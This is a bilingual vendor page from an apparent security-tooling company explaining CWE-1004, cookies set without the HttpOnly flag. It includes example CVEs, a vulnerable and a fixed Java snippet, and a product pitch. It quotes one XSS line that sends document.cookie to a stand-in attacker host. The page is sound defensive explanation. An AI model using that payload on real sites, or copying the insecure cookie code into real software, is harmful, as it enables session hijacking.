Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)
Sensitive Cookie Without 'HttpOnly' Flag
This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.
What is CWE-1004?
Real-world CVEs caused by CWE-1004
-
Web application for a room automation system has client-side Javascript that sets a sensitive cookie without the HTTPOnly security attribute, allowing the cookie to be accessed.
-
CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.
-
Appliance for managing encrypted communications does not use HttpOnly flag.
Ruta del atacante paso a paso
- 1
In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.
- 2
The snippet of code below establishes a new cookie to hold the sessionID.
- 3
The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:
- 4
When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.
- 5
To mitigate the risk, use the setHttpOnly(true) method.
Vulnerable Java
The snippet of code below establishes a new cookie to hold the sessionID.
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c); The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">' Secure Java
To mitigate the risk, use the setHttpOnly(true) method.
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c); How to prevent CWE-1004
- Implementation Leverage the HttpOnly flag when setting a sensitive cookie in a response.
How to detect CWE-1004
Plexicus detecta automáticamente CWE-1004 y abre un PR de corrección en menos de 60 segundos.
Codex Remedium escanea cada commit, identifica esta debilidad concreta y entrega un pull request listo para revisión con el parche. Sin tickets. Sin traspasos.
Frequently asked questions
¿Qué es CWE-1004?
This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.
¿Qué gravedad tiene CWE-1004?
MITRE califica la probabilidad de explotación como Media — la explotación es realista pero suele requerir condiciones específicas.
¿Qué lenguajes o plataformas se ven afectados por CWE-1004?
MITRE lists the following affected platforms: Web Based.
¿Cómo puedo prevenir CWE-1004?
Leverage the HttpOnly flag when setting a sensitive cookie in a response.
¿Cómo detecta y corrige Plexicus CWE-1004?
El motor SAST de Plexicus detecta la firma de flujo de datos para CWE-1004 en cada commit. Cuando hay coincidencia, nuestro agente Codex Remedium abre un PR de corrección con el código corregido, las pruebas y un resumen de una línea para el revisor.
¿Dónde puedo aprender más sobre CWE-1004?
MITRE publica la definición canónica en https://cwe.mitre.org/data/definitions/1004.html. También puedes consultar la documentación de OWASP y NIST para guías relacionadas.
Weaknesses related to CWE-1004
Incorrect Permission Assignment for Critical Resource
This vulnerability occurs when a system grants overly permissive access to a sensitive resource, allowing unauthorized users or processes…
Incorrect Default Permissions
This vulnerability occurs when software installation scripts set overly permissive file or directory access rights by default. Instead of…
Insecure Inherited Permissions
This vulnerability occurs when an application sets default file or directory permissions that are too permissive, and these insecure…
Insecure Preserved Inherited Permissions
This vulnerability occurs when a software product copies or extracts files while unintentionally preserving insecure permissions from…
Incorrect Execution-Assigned Permissions
This vulnerability occurs when a running application incorrectly changes an object's access permissions, overriding the security settings…
Improper Preservation of Permissions
This vulnerability occurs when a system fails to correctly maintain file or object permissions during operations like copying, sharing, or…
Critical Data Element Declared Public
This vulnerability occurs when a critical piece of data—like a variable, field, or class member—is mistakenly declared as public when it…
Further reading
- MITRE — CWE-1004 oficial https://cwe.mitre.org/data/definitions/1004.html
- HttpOnly https://owasp.org/www-community/HttpOnly
- Some Bad News and Some Good News https://learn.microsoft.com/en-us/previous-versions/ms972826(v=msdn.10)?redirectedfrom=MSDN
- C is for cookie, H is for hacker - understanding HTTP only and Secure cookies https://www.troyhunt.com/c-is-for-cookie-h-is-for-hacker/
- Mitigating Cross-site Scripting With HTTP-only Cookies https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN
Deja de pagar por desarrollador.
Empieza a cerrar el bucle.
Plexicus es el ASPM nativo de IA que escanea, filtra, corrige, pentestea y explica — de forma autónoma. Desarrolladores ilimitados, repos ilimitados, acciones de IA de uso justo. Nivel gratuito real, €269/mo anual cuando estés listo.